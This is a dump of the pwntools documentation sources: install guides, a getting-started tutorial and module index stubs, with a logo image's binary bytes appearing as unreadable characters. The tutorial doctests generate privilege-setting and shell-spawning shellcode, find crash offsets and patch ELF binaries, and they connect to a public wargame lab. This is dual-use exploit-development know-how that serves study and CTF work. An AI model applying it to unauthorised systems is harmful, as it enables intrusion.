https://docs.pwntools.com/en/latest .. _Stable: https://docs.pwntools.com/en/stable .. _Beta: https://docs.pwntools.com/en/beta .. _Dev: https://docs.pwntools.com/en/dev Getting Started --------------- .. toctree:: :maxdepth: 3 :glob: about install intro globals commandline Module Index ------------ Each of the ``pwntools`` modules is documented here. .. toctree:: :maxdepth: 1 :glob: adb args asm atexception atexit constants config context dynelf encoders elf/* exception filepointer filesystem flag fmtstr gdb libcdb log memleak protocols qemu replacements rop/* runner shellcraft shellcraft/* term timeout tubes tubes/* ui update useragents util/* windbg .. toctree:: :hidden: testexample .. only:: not dash Indices and tables ================== * :ref:`genindex` * :ref:`modindex` * :ref:`search` Bytes ----- The bytes vs text distinction is so important that it even made it to this main page. See the pwntools-tutorial_ repo for the latest tutorial finally explaining the difference once and for all (hopefully). .. _pwntools-tutorial: https://github.com/Gallopsled/pwntools-tutorial/blob/master/bytes.md Gallopsled-pwntools-3ad86ec/docs/source/install.rst000066400000000000000000000044611507273764500226370ustar00rootroot00000000000000Installation ============ Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.). Prerequisites ------------- In order to get the most out of ``pwntools``, you should have the following system libraries installed. .. toctree:: :maxdepth: 3 :glob: install/* Note: For Mac OS X you will need to have cmake ``brew install cmake`` and pkg-config ``brew install pkg-config`` installed. Released Version ----------------- pwntools is available as a ``pip`` package for both Python2 and Python3. Python3 ^^^^^^^ .. code-block:: bash $ sudo apt-get update $ sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential $ python3 -m pip install --upgrade pip $ python3 -m pip install --upgrade pwntools Python2 (Deprecated) ^^^^^^^^^^^^^^^^^^^^ NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects. Additionally, due to `pip` dropping support for Python2, a specfic version of `pip` must be installed. .. code-block:: bash $ sudo apt-get update $ sudo apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential $ python2 -m pip install --upgrade pip==20.3.4 $ python2 -m pip install --upgrade pwntools Command-Line Tools ------------------ When installed with ``sudo`` the above commands will install Pwntools' command-line tools to somewhere like ``/usr/bin``. However, if you run as an unprivileged user, you may see a warning message that looks like this:: WARNING: The scripts asm, checksec, common, constgrep, cyclic, debug, disablenx, disasm, elfdiff, elfpatch, errno, hex, main, phd, pwn, pwnstrip, scramble, shellcraft, template, unhex, update and version are installed in '/home/user/.local/bin' which is not on PATH. Follow the instructions listed and add ``~/.local/bin`` to your ``$PATH`` environment variable. Development -------------- If you are hacking on Pwntools locally, you'll want to do something like this: .. code-block:: bash $ git clone https://github.com/Gallopsled/pwntools $ pip install --upgrade --editable ./pwntools .. _Ubuntu: https://launchpad.net/~pwntools/+archive/ubuntu/binutils Gallopsled-pwntools-3ad86ec/docs/source/install/000077500000000000000000000000001507273764500221005ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/docs/source/install/binutils.rst000066400000000000000000000051051507273764500244640ustar00rootroot00000000000000Binutils ------------- Assembly of foreign architectures (e.g. assembling Sparc shellcode on Mac OS X) requires cross-compiled versions of ``binutils`` to be installed. We've made this process as smooth as we can. In these examples, replace ``$ARCH`` with your target architecture (e.g., arm, aarch64, mips64, vax, etc.). Building `binutils` from source takes about 60 seconds on a modern 8-core machine. Ubuntu ^^^^^^^^^^^^^^^^ For Ubuntu 12.04 through 15.10, you must first add the pwntools `Personal Package Archive repository `__. Ubuntu Xenial (16.04) has official packages for most architectures, and does not require this step. .. code-block:: bash $ sudo apt-get install software-properties-common $ sudo apt-add-repository ppa:pwntools/binutils $ sudo apt-get update Then, install the binutils for your architecture. .. code-block:: bash $ sudo apt-get install binutils-$ARCH-linux-gnu Mac OS X ^^^^^^^^^^^^^^^^ Mac OS X is just as easy, but requires building binutils from source. However, we've made ``homebrew`` recipes to make this just two commands. After installing `brew `__, grab the appropriate recipe from our `binutils repo `__. .. code-block:: bash $ wget https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb $ brew install ./binutils-$ARCH.rb Windows ^^^^^^^^^^^^^^^^ Windows support is experimental. You can try installing a prebuilt version of binutils for your desired architecture from the `GNU Toolchains `__ project. Alternate OSes ^^^^^^^^^^^^^^^^ If you want to build everything by hand, or don't use any of the above OSes, ``binutils`` is simple to build by hand. .. code-block:: bash #!/usr/bin/env bash V=2.38 # Binutils Version ARCH=arm # Target architecture cd ${TMPDIR:-/tmp} wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz.sig gpg --keyserver keys.gnupg.net --recv-keys 4AE55E93 gpg --verify binutils-$V.tar.gz.sig tar xf binutils-$V.tar.gz mkdir binutils-build cd binutils-build export AR=ar export AS=as ../binutils-$V/configure \ --prefix=${PREFIX:-/usr/local} \ --target=$ARCH-unknown-linux-gnu \ --disable-static \ --disable-multilib \ --disable-werror \ --disable-nls MAKE=gmake hash gmake || MAKE=make $MAKE -j clean all sudo $MAKE install Gallopsled-pwntools-3ad86ec/docs/source/install/headers.rst000066400000000000000000000006121507273764500242440ustar00rootroot00000000000000Python Development Headers ----------------------------- Some of pwntools' Python dependencies require native extensions (for example, Paramiko requires PyCrypto). In order to build these native extensions, the development headers for Python must be installed. Ubuntu ^^^^^^^^^^^^^^^^ .. code-block:: bash $ sudo apt-get install python-dev Mac OS X ^^^^^^^^^^^^^^^^ No action needed.Gallopsled-pwntools-3ad86ec/docs/source/intro.rst000066400000000000000000000143541507273764500223260ustar00rootroot00000000000000.. testsetup:: * from pwn import * Getting Started ======================== To get your feet wet with pwntools, let's first go through a few examples. When writing exploits, pwntools generally follows the "kitchen sink" approach. >>> from pwn import * This imports a lot of functionality into the global namespace. You can now assemble, disassemble, pack, unpack, and many other things with a single function. A full list of everything that is imported is available on :doc:`globals`. Tutorials --------- A series of tutorials for Pwntools exists online, at https://github.com/Gallopsled/pwntools-tutorial#readme Making Connections ------------------ You need to talk to the challenge binary in order to pwn it, right? pwntools makes this stupid simple with its :mod:`pwnlib.tubes` module. This exposes a standard interface to talk to processes, sockets, serial ports, and all manner of things, along with some nifty helpers for common tasks. For example, remote connections via :mod:`pwnlib.tubes.remote`. >>> conn = remote('ftp.ubuntu.com',21) >>> conn.recvline() # doctest: +ELLIPSIS b'220 ...' >>> conn.send(b'USER anonymous\r\n') >>> conn.recvuntil(b' ', drop=True) b'331' >>> conn.recvline() b'Please specify the password.\r\n' >>> conn.close() It's also easy to spin up a listener >>> l = listen() >>> r = remote('localhost', l.lport) >>> c = l.wait_for_connection() >>> r.send(b'hello') >>> c.recv() b'hello' Interacting with processes is easy thanks to :mod:`pwnlib.tubes.process`. :: >>> sh = process('/bin/sh') >>> sh.sendline(b'sleep 3; echo hello world;') >>> sh.recvline(timeout=1) b'' >>> sh.recvline(timeout=5) b'hello world\n' >>> sh.close() Not only can you interact with processes programmatically, but you can actually **interact** with processes. >>> sh.interactive() # doctest: +SKIP $ whoami user There's even an SSH module for when you've got to SSH into a box to perform a local/setuid exploit with :mod:`pwnlib.tubes.ssh`. You can quickly spawn processes and grab the output, or spawn a process and interact with it like a ``process`` tube. :: >>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) >>> shell['whoami'] b'bandit0' >>> shell.download_file('/etc/motd') >>> sh = shell.run('sh') >>> sh.sendline(b'sleep 3; echo hello world;') # doctest: +SKIP >>> sh.recvline(timeout=1) b'' >>> sh.recvline(timeout=5) b'hello world\n' >>> shell.close() Packing Integers ------------------ A common task for exploit-writing is converting between integers as Python sees them, and their representation as a sequence of bytes. Usually folks resort to the built-in ``struct`` module. pwntools makes this easier with :mod:`pwnlib.util.packing`. No more remembering unpacking codes, and littering your code with helper routines. >>> import struct >>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef) True >>> leet = unhex('37130000') >>> u32(b'abcd') == struct.unpack('I', b'abcd')[0] True The packing/unpacking operations are defined for many common bit-widths. >>> u8(b'A') == 0x41 True Setting the Target Architecture and OS -------------------------------------- The target architecture can generally be specified as an argument to the routine that requires it. >>> asm('nop') b'\x90' >>> asm('nop', arch='arm') b'\x00\xf0 \xe3' However, it can also be set once in the global ``context``. The operating system, word size, and endianness can also be set here. >>> context.arch = 'i386' >>> context.os = 'linux' >>> context.endian = 'little' >>> context.word_size = 32 Additionally, you can use a shorthand to set all of the values at once. >>> asm('nop') b'\x90' >>> context(arch='arm', os='linux', endian='big', word_size=32) >>> asm('nop') b'\xe3 \xf0\x00' .. doctest:: :hide: >>> context.clear() Setting Logging Verbosity ------------------------- You can control the verbosity of the standard pwntools logging via ``context``. For example, setting >>> context.log_level = 'debug' Will cause all of the data sent and received by a ``tube`` to be printed to the screen. .. doctest:: :hide: >>> context.clear() Assembly and Disassembly ------------------------ Never again will you need to run some already-assembled pile of shellcode from the internet! The :mod:`pwnlib.asm` module is full of awesome. >>> enhex(asm('mov eax, 0')) 'b800000000' But if you do, it's easy to suss out! >>> print(disasm(unhex('6a0258cd80ebf9'))) 0: 6a 02 push 0x2 2: 58 pop eax 3: cd 80 int 0x80 5: eb f9 jmp 0x0 However, you shouldn't even need to write your own shellcode most of the time! pwntools comes with the :mod:`pwnlib.shellcraft` module, which is loaded with useful time-saving shellcodes. Let's say that we want to `setreuid(getuid(), getuid())` followed by `dup`ing file descriptor 4 to `stdin`, `stdout`, and `stderr`, and then pop a shell! >>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS '6a3158cd80...' Misc Tools ---------------------- Never write another hexdump, thanks to :mod:`pwnlib.util.fiddling`. Find offsets in your buffer that cause a crash, thanks to :mod:`pwnlib.cyclic`. >>> cyclic(20) b'aaaabaaacaaadaaaeaaa' >>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166)) at crash time >>> cyclic_find(b'faab') 120 ELF Manipulation ---------------- Stop hard-coding things! Look them up at runtime with :mod:`pwnlib.elf`. >>> e = ELF('/bin/cat') >>> print(hex(e.address)) #doctest: +SKIP 0x400000 >>> print(hex(e.symbols['write'])) #doctest: +SKIP 0x401680 >>> print(hex(e.got['write'])) #doctest: +SKIP 0x60b070 >>> print(hex(e.plt['write'])) #doctest: +SKIP 0x401680 You can even patch and save the files. >>> e = ELF('/bin/cat') >>> e.read(e.address, 4) b'\x7fELF' >>> e.asm(e.address, 'ret') >>> e.save('/tmp/quiet-cat') >>> disasm(open('/tmp/quiet-cat','rb').read(1)) ' 0: c3 ret' Gallopsled-pwntools-3ad86ec/docs/source/libcdb.rst000066400000000000000000000003061507273764500224020ustar00rootroot00000000000000.. testsetup:: * from pwn import * from pwnlib.libcdb import * :mod:`pwnlib.libcdb` --- Libc Database =========================================== .. automodule:: pwnlib.libcdb :members: Gallopsled-pwntools-3ad86ec/docs/source/log.rst000066400000000000000000000007161507273764500217510ustar00rootroot00000000000000:mod:`pwnlib.log` --- Logging stuff =================================== .. automodule:: pwnlib.log :members: getLogger, install_default_handler, rootlogger .. autoclass:: pwnlib.log.Progress :members: :member-order: bysource .. autoclass:: pwnlib.log.Logger :members: :member-order: bysource .. autoclass:: pwnlib.log.Handler :members: :member-order: bysource .. autoclass:: pwnlib.log.Formatter :members: :member-order: bysource Gallopsled-pwntools-3ad86ec/docs/source/logo.png000066400000000000000000000214021507273764500220770ustar00rootroot00000000000000PNG  IHDRqitEXtSoftwareAdobe ImageReadyqe<$iTXtXML:com.adobe.xmp ^tIDATxOr61oSNc/2}'T>S5YK>^e9 s('-73#A U<$fNY4< 0߿R|GOZZZ>&]J -@sM j>o!c}<9{C { 㹮Q +/+ !="r 6NPvy_/]u7"];P/+}O 4}81nP_1B{IyAK,-}@:}M`bB3>L;(=(hfS{<\r@Vq᳀mF̧!kgM >8,;银"Fro7z]YГ>o{{t=kڷ {i@'P{_.}>wF$kp$sTԳ@HD2ļ PZ R -kbri)WHb~<5*_)RZzYHW2p}l|9y⩎)%!}B+. Z8ZS!:< >n?AԃKײ\zA}7 G(N۔/\$Ω][Z A _Nsz3[-UysWxtpPR08_'}6%bQFH汷N P=c>5@9Bra@~[|ia*kφtF)Uzތ)e7nxnzRҐɞ] n`m#s/o! |90W|LLf2˩L<>tM5+S ֶy!~B" =+YtYn%5Un"!,Ef.xϰVꔹpMcBrfsP& FXR~YԿ! zX 5>Q].uY![Zpn~Ea@8qn ޵ym+AoڞX4KvO->zGΐ3!U7S%gUKA5˪ST}`8 X&u|$3O1:(䍽 ]y㹥LGzn鰍3w˺1[KyP^r:Qlj80N6͸CuJoEΐ y̶T>53,WM\{jgZo!8ǃ`ϔ}m8m@唼O=PFP81}\xrVͼw8|>%w"gۀ궩/^׎>osuJ2blEm$kF\j$MkJ ao㽑Dɐ3OuTG}O2D=#->$t-%geICQO4%g>4 9}P+|XwǠ^kQ ])-;UK~p_Ґi.mW!7^ڏaz.)z^Keg@"9|>Qa@X^&GAl%iEeexDz{梀3HFȬl.Q\-FR{-Mp#> g"=Mb؃`%X["YaCi.7={el^/o,V8"+ c?[8 !z`{ g@1d [\8g8^,G9\4onxŞOk. X<{ڵ]< uĻZMa0&6i a_[!.A EZ؄b9n׫uf+sXW׫M0ۈ} WO8O 6ÓҡW} b;Tkx:0oU`k!|)=b-ѽ1D[LE 4N{i-8$&\ɯﰅ|،E7Joc>6$M35B{=mz.! P8u[!~<\x ,@z]ǸfxA7)L\Gg(AN:`CfС| DxT76yѭ5L[_kӥ߆ynkNҚ)z\#CIw o$\L8KhGE"OPcg`[gX)s\㸛C˘%+G:i eMYfZ~t(U$Bo%3[vFqylh{Zwlo<%=D=M0ߔb*i/M[X)zN;]BI}^ -H(FOݕ 6Gs [G΁G! |{Z[z-?7D+Fp,|^^qZ{s$u_)&fa_nY5cSGbwK^iWÛ-ӶwR[4-?^si|&o)bxApk(*& ܳ dǴX2jB`'/z-聝#nW}#G yP!p;ܳ_-RID@hҨh́'ø3n(6| rZ)|,¾m5y[M a^)r!!Ɔ;;_]^Bdd1&d-km`$F,k-k,kOUƎdC"-ë@ӈRI]^vѲK⺱N.+=Пo;w<p7X93Ǘ"AOuzNC{8vT!d%z{ yZpjCyi7Iː\h/e䭤xG$S\MN8y8\6mc`Hudx{569DOyH, 1;{0M+NAqG5 kK{3H0)jv]'WJD&%z#yOmю@eM7ѝq a*֨Q?㦂9ܖ 6Y|׉+aF%%COߨ`!_,fO܏EoyRc۲eib =Ii.6^ʑ {i^1!e$= 1_4$RV* TH?t:Q?2L'nǽ>HDF%  [A0OmÞ̧Pv=nAؤ,h-ixDaߩ^ vN;{L?g'Mlž*!?Jˋe"6}?vC~2:L'i/}|KK^ L?lZe1爷oX-]fjq[~Lgxd\c6 qJ+[oCO׬r #~=N$K?8ɳ_TV ҽ#y.~+=MޥY!dK~:7 ס {j o,n *=T8'{\v5@JN9gA\6.:^?V6󂞗ش=Y%'/ t!Dba›yuba[A53N ĽE\A iiڥ(6%] .+)t$| i/-룬++y(u?uw.D_$.yǃ AZ8ے녅\7+U#5z+1R~ 0g[4]uIjن_"޾7F'@-΋څZo=L NAZدBG8&M?)w2o<:-hBT؛ 0i*kf [{FnZ/L:WY; ի,bWžN&] Uιt$I߲#z M:<Ǥw(k)K@eH8wST$~K9\w&T^zANcz!w%:]Z/na'Zi|O ="U?|gQc2y^5(aOMiWgzk+G+) zڸCR+_`81A<2äuW.띦x9 2[bNE}TZ0H:)K= qL7nm wYc1! e28wQ >mm\ױMmwځ4>o ᳷i/M^>BʬvHs Ŀox{H!ѻ̋r{|FMh(;o8 ӿ!d&0ql.kni QL19gToO.UfA !&& WY݌Hd0"l<;Ee=tۅP6C&49БGY>ԌRu,It9JN~ND=ĽaJSY-L{6ך!e'eq/q'1c}h٢{ ݿ!hqϢ^*V!U:v[i:Ys{5.V?GHHsPX\ӵJ`{%BمDܡ>%Tb#X*>`Ž1߂$,; qY!v=$M,}N.4^HjbplB )Eٽ9[|r !k p*<":'{Ǔ 2@YC-4-NP.ó .d6צʃPZ*&bQ_5oU]ƲѢ?0: 'd鱨xm9O&uvX{^j >s]h*kԝДa,V i۰*"NZm$ .}1$tC*m&-s.*1mcڠm*6T> Al;$̓Rln۬D=i(B+1Cq?/Ym)6PlyȡpUX]7z<&U;diXBO ?`p8n^E[{Q( E el1+KeNE+ ùbJQ1NouCo{>QO q{(k:=ǑzAp /---f<8GcDY@0V7B5HW 3grE},FQ ' >w{`77 hۆɨv;=)=@ ^}i@2o] `N꠸5IENDB`Gallopsled-pwntools-3ad86ec/docs/source/memleak.rst000066400000000000000000000003131507273764500225740ustar00rootroot00000000000000.. testsetup:: * from pwn import * :mod:`pwnlib.memleak` --- Helper class for leaking memory ========================================================= .. automodule:: pwnlib.memleak :members: Gallopsled-pwntools-3ad86ec/docs/source/protocols.rst000066400000000000000000000003151507273764500232070ustar00rootroot00000000000000.. testsetup:: * from pwn import * :mod:`pwnlib.protocols.adb` --- Protocol implementations ======================================================== .. automodule:: pwnlib.protocols.adb :members:Gallopsled-pwntools-3ad86ec/docs/source/qemu.rst000066400000000000000000000002441507273764500221330ustar00rootroot00000000000000.. testsetup:: * from pwn import * :mod:`pwnlib.qemu` --- QEMU Utilities ========================================== .. automodule:: pwnlib.qemu :members: Gallopsled-pwntools-3ad86ec/docs/source/regsort.rst000066400000000000000000000003101507273764500226430ustar00rootroot00000000000000.. testsetup:: * from pwnlib.regsort import * :mod:`pwnlib.regsort` --- Register sorting =========================================================== .. automodule:: pwnlib.regsort :members: Gallopsled-pwntools-3ad86ec/docs/source/replacements.rst000066400000000000000000000002661507273764500236520ustar00rootroot00000000000000:mod:`pwnlib.replacements` --- Replacements for various functions ================================================================= .. automodule:: pwnlib.replacements :members: Gallopsled-pwntools-3ad86ec/docs/source/rop.rst000066400000000000000000000002351507273764500217640ustar00rootroot00000000000000:mod:`pwnlib.rop` --- Return Oriented Programming ================================================= Submodules ---------- .. toctree:: :glob: rop/* Gallopsled-pwntools-3ad86ec/docs/source/rop/000077500000000000000000000000001507273764500212325ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/docs/source/rop/ret2dlresolve.rst000066400000000000000000000003441507273764500245610ustar00rootroot00000000000000.. testsetup:: * from pwn import * import tempfile :mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve ======================================================== .. automodule:: pwnlib.rop.ret2dlresolve :members: Gallopsled-pwntools-3ad86ec/docs/source/rop/rop.rst000066400000000000000000000013131507273764500225620ustar00rootroot00000000000000.. testsetup:: * import time from glob import glob from pwnlib.asm import asm from pwnlib import constants from pwnlib.context import context from pwnlib.elf import ELF from pwnlib.rop import ROP from pwnlib.rop.call import Call, AppendedArgument from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT from pwnlib.util.packing import * from pwnlib.util.fiddling import * from pwnlib.tubes.process import process from pwnlib import shellcraft from pwnlib.util.misc import which import pwnlib.data context.clear() :mod:`pwnlib.rop.rop` --- Return Oriented Programming ========================================================== .. automodule:: pwnlib.rop.rop :members: Gallopsled-pwntools-3ad86ec/docs/source/rop/srop.rst000066400000000000000000000005431507273764500227510ustar00rootroot00000000000000.. testsetup:: * from pwnlib.rop.srop import * from pwnlib import constants from pwnlib import shellcraft from pwnlib.elf import ELF from pwnlib.tubes.process import process :mod:`pwnlib.rop.srop` --- Sigreturn Oriented Programming ========================================================== .. automodule:: pwnlib.rop.srop :members: Gallopsled-pwntools-3ad86ec/docs/source/runner.rst000066400000000000000000000003231507273764500224730ustar00rootroot00000000000000.. testsetup:: * from pwnlib.runner import * from pwnlib.asm import asm :mod:`pwnlib.runner` --- Running Shellcode =========================================== .. automodule:: pwnlib.runner :members: Gallopsled-pwntools-3ad86ec/docs/source/shellcraft.rst000066400000000000000000000004611507273764500233140ustar00rootroot00000000000000.. testsetup:: * from pwnlib import shellcraft :mod:`pwnlib.shellcraft` --- Shellcode generation ================================================= .. automodule:: pwnlib.shellcraft .. TODO: Write a guide to adding more shellcode. Submodules ---------- .. toctree:: :glob: shellcraft/* Gallopsled-pwntools-3ad86ec/docs/source/shellcraft/000077500000000000000000000000001507273764500225615ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/docs/source/shellcraft/aarch64.rst000066400000000000000000000007101507273764500245410ustar00rootroot00000000000000.. testsetup:: * from pwn import * context.clear(arch='aarch64') :mod:`pwnlib.shellcraft.aarch64` --- Shellcode for AArch64 =========================================================== :mod:`pwnlib.shellcraft.aarch64` -------------------------------- .. automodule:: pwnlib.shellcraft.aarch64 :members: :mod:`pwnlib.shellcraft.aarch64.linux` -------------------------------------- .. automodule:: pwnlib.shellcraft.aarch64.linux :members: Gallopsled-pwntools-3ad86ec/docs/source/shellcraft/amd64.rst000066400000000000000000000011201507273764500242200ustar00rootroot00000000000000.. testsetup:: * from pwn import * context.clear(arch='amd64') :mod:`pwnlib.shellcraft.amd64` --- Shellcode for AMD64 =========================================================== :mod:`pwnlib.shellcraft.amd64` --------------------------------------- .. automodule:: pwnlib.shellcraft.amd64 :members: :mod:`pwnlib.shellcraft.amd64.linux` --------------------------------------- .. automodule:: pwnlib.shellcraft.amd64.linux :members: :mod:`pwnlib.shellcraft.amd64.windows` --------------------------------------- .. automodule:: pwnlib.shellcraft.amd64.windows :members: Gallopsled-pwntools-3ad86ec/docs/source/shellcraft/arm.rst000066400000000000000000000006461507273764500241000ustar00rootroot00000000000000.. testsetup:: * from pwn import * context.clear(arch='arm') :mod:`pwnlib.shellcraft.arm` --- Shellcode for ARM =========================================================== :mod:`pwnlib.shellcraft.arm` ----------------------------- .. automodule:: pwnlib.shellcraft.arm :members: :mod:`pwnlib.shellcraft.arm.linux` ----------------------------------- .. automodule:: pwnlib.shellcraft.arm.linux :members: Gallopsled-pwntools-3ad86ec/docs/source/shellcraft/common.rst000066400000000000000000000003111507273764500245760ustar00rootroot00000000000000:mod:`pwnlib.shellcraft.common` --- Shellcode common to all architecture ======================================================================== .. automodule:: pwnlib.shellcraft.common :members: Gallopsled-pwntools-3ad86ec/docs/source/shellcraft/i386.rst000066400000000000000000000010761507273764500240100ustar00rootroot00000000000000.. testsetup:: * from pwn import * context.clear(arch='i386') :mod:`pwnlib.shellcraft.i386` --- Shellcode for Intel 80386 =========================================================== :mod:`pwnlib.shellcraft.i386` ----------------------------- .. automodule:: pwnlib.shellcraft.i386 :members: :mod:`pwnlib.shellcraft.i386.linux` ----------------------------------- .. automodule:: pwnlib.shellcraft.i386.linux :members: :mod:`pwnlib.shellcraft.i386.freebsd` ------------------------------------- .. automodule:: pwnlib.shellcraft.i386.freebsd :members: Gallopsled-pwntools-3ad86ec/docs/source/shellcraft/mips.rst000066400000000000000000000012151507273764500242620ustar00rootroot00000000000000.. testsetup:: * import tempfile from pwnlib import shellcraft from pwnlib.asm import asm from pwnlib.context import context from pwnlib.runner import run_assembly from pwnlib.util.fiddling import enhex from pwnlib.util.misc import write context.clear(arch='mips') :mod:`pwnlib.shellcraft.mips` --- Shellcode for MIPS =========================================================== :mod:`pwnlib.shellcraft.mips` ----------------------------- .. automodule:: pwnlib.shellcraft.mips :members: :mod:`pwnlib.shellcraft.mips.linux` ----------------------------------- .. automodule:: pwnlib.shellcraft.mips.linux :members: Gallopsled-pwntools-3ad86ec/docs/source/shellcraft/riscv64.rst000066400000000000000000000007071507273764500246170ustar00rootroot00000000000000.. testsetup:: * from pwn import * context.clear(arch='riscv64') :mod:`pwnlib.shellcraft.riscv64` --- Shellcode for RISCV64 ========================================================== :mod:`pwnlib.shellcraft.riscv64` -------------------------------- .. automodule:: pwnlib.shellcraft.riscv64 :members: :mod:`pwnlib.shellcraft.riscv64.linux` -------------------------------------- .. automodule:: pwnlib.shellcraft.riscv64.linux :members: Gallopsled-pwntools-3ad86ec/docs/source/shellcraft/thumb.rst000066400000000000000000000006771507273764500244440ustar00rootroot00000000000000.. testsetup:: * from pwn import * context.clear(arch='thumb') :mod:`pwnlib.shellcraft.thumb` --- Shellcode for Thumb Mode =========================================================== :mod:`pwnlib.shellcraft.thumb` ------------------------------- .. automodule:: pwnlib.shellcraft.thumb :members: :mod:`pwnlib.shellcraft.thumb.linux` --------------------------------------- .. automodule:: pwnlib.shellcraft.thumb.linux :members: Gallopsled-pwntools-3ad86ec/docs/source/term.rst000066400000000000000000000002761507273764500221400ustar00rootroot00000000000000:mod:`pwnlib.term` --- Terminal handling ======================================== .. automodule:: pwnlib.term :members: Term Modules ------------------- .. toctree:: term/readline Gallopsled-pwntools-3ad86ec/docs/source/term/000077500000000000000000000000001507273764500214015ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/docs/source/term/readline.rst000066400000000000000000000003471507273764500237220ustar00rootroot00000000000000.. testsetup:: * from pwnlib.term.readline import * import io :mod:`pwnlib.term.readline` --- Terminal nice readline ====================================================== .. automodule:: pwnlib.term.readline :members: Gallopsled-pwntools-3ad86ec/docs/source/testexample.rst000066400000000000000000000003341507273764500235170ustar00rootroot00000000000000.. testsetup:: * import os from pwnlib.testexample import add :mod:`pwnlib.testexample` --- Example Test Module ================================================== .. automodule:: pwnlib.testexample :members: Gallopsled-pwntools-3ad86ec/docs/source/timeout.rst000066400000000000000000000003631507273764500226540ustar00rootroot00000000000000.. testsetup:: * from pwnlib.context import context from pwnlib.timeout import Timeout import time :mod:`pwnlib.timeout` --- Timeout handling ============================================ .. automodule:: pwnlib.timeout :members: Gallopsled-pwntools-3ad86ec/docs/source/tubes.rst000066400000000000000000000010771507273764500223130ustar00rootroot00000000000000.. testsetup:: * from pwn import * :mod:`pwnlib.tubes` --- Talking to the World! ============================================= .. automodule:: pwnlib.tubes Types of Tubes ------------------- .. toctree:: :maxdepth: 3 :glob: tubes/* :mod:`pwnlib.tubes.tube` --- Common Functionality ------------------------------------------------- .. automodule:: pwnlib.tubes.tube .. autoclass:: pwnlib.tubes.tube.tube() :members: :exclude-members: recv_raw, send_raw, settimeout_raw, can_recv_raw, shutdown_raw, connected_raw, Gallopsled-pwntools-3ad86ec/docs/source/tubes/000077500000000000000000000000001507273764500215545ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/docs/source/tubes/buffer.rst000066400000000000000000000003501507273764500235550ustar00rootroot00000000000000.. testsetup:: * from pwnlib.tubes.buffer import * :mod:`pwnlib.tubes.buffer` --- buffer implementation for tubes ============================================================== .. automodule:: pwnlib.tubes.buffer :members: Gallopsled-pwntools-3ad86ec/docs/source/tubes/processes.rst000066400000000000000000000004121507273764500243110ustar00rootroot00000000000000.. testsetup:: * from pwn import * :mod:`pwnlib.tubes.process` --- Processes =========================================================== .. automodule:: pwnlib.tubes.process .. autoclass:: pwnlib.tubes.process.process :members: :show-inheritance: Gallopsled-pwntools-3ad86ec/docs/source/tubes/serial.rst000066400000000000000000000004031507273764500235620ustar00rootroot00000000000000.. testsetup:: * from pwn import * :mod:`pwnlib.tubes.serialtube` --- Serial Ports =========================================================== .. automodule:: pwnlib.tubes.serialtube .. autoclass:: pwnlib.tubes.serialtube.serialtube :members: Gallopsled-pwntools-3ad86ec/docs/source/tubes/sockets.rst000066400000000000000000000012211507273764500237550ustar00rootroot00000000000000.. testsetup:: * from pwn import * from pwnlib.tubes.server import server :mod:`pwnlib.tubes.sock` --- Sockets =========================================================== .. automodule:: pwnlib.tubes.sock .. autoclass:: pwnlib.tubes.sock.sock() :show-inheritance: .. automodule:: pwnlib.tubes.remote .. autoclass:: pwnlib.tubes.remote.remote :members: :show-inheritance: .. automodule:: pwnlib.tubes.listen .. autoclass:: pwnlib.tubes.listen.listen :members: :show-inheritance: .. automodule:: pwnlib.tubes.server .. autoclass:: pwnlib.tubes.server.server :members: :show-inheritance: Gallopsled-pwntools-3ad86ec/docs/source/tubes/ssh.rst000066400000000000000000000011031507273764500230760ustar00rootroot00000000000000.. testsetup:: * from pwn import * :mod:`pwnlib.tubes.ssh` --- SSH =========================================================== .. automodule:: pwnlib.tubes.ssh .. autoclass:: pwnlib.tubes.ssh.ssh :members: .. autoclass:: pwnlib.tubes.ssh.ssh_channel() :members: kill, poll, interactive :show-inheritance: .. autoclass:: pwnlib.tubes.ssh.ssh_process :members: :show-inheritance: .. autoclass:: pwnlib.tubes.ssh.ssh_connecter() :show-inheritance: .. autoclass:: pwnlib.tubes.ssh.ssh_listener() :show-inheritance: Gallopsled-pwntools-3ad86ec/docs/source/ui.rst000066400000000000000000000003051507273764500215770ustar00rootroot00000000000000.. testsetup:: * from pwn import * import io :mod:`pwnlib.ui` --- Functions for user interaction =================================================== .. automodule:: pwnlib.ui :members: Gallopsled-pwntools-3ad86ec/docs/source/update.rst000066400000000000000000000003221507273764500224430ustar00rootroot00000000000000.. testsetup:: * from pwn import * from pwnlib.update import * :mod:`pwnlib.update` --- Updating Pwntools =================================================== .. automodule:: pwnlib.update :members: Gallopsled-pwntools-3ad86ec/docs/source/useragents.rst000066400000000000000000000003401507273764500233410ustar00rootroot00000000000000.. testsetup:: * from pwnlib.useragents import * :mod:`pwnlib.useragents` --- A database of useragent strings ============================================================ .. automodule:: pwnlib.useragents :members: Gallopsled-pwntools-3ad86ec/docs/source/util/000077500000000000000000000000001507273764500214075ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/docs/source/util/crc.rst000066400000000000000000000003031507273764500227040ustar00rootroot00000000000000.. testsetup:: * from pwnlib.util.crc import * :mod:`pwnlib.util.crc` --- Calculating CRC-sums =============================================== .. automodule:: pwnlib.util.crc :members: Gallopsled-pwntools-3ad86ec/docs/source/util/cyclic.rst000066400000000000000000000003701507273764500234070ustar00rootroot00000000000000.. testsetup:: * from pwn import * from pwnlib.util.cyclic import * :mod:`pwnlib.util.cyclic` --- Generation of unique sequences ============================================================ .. automodule:: 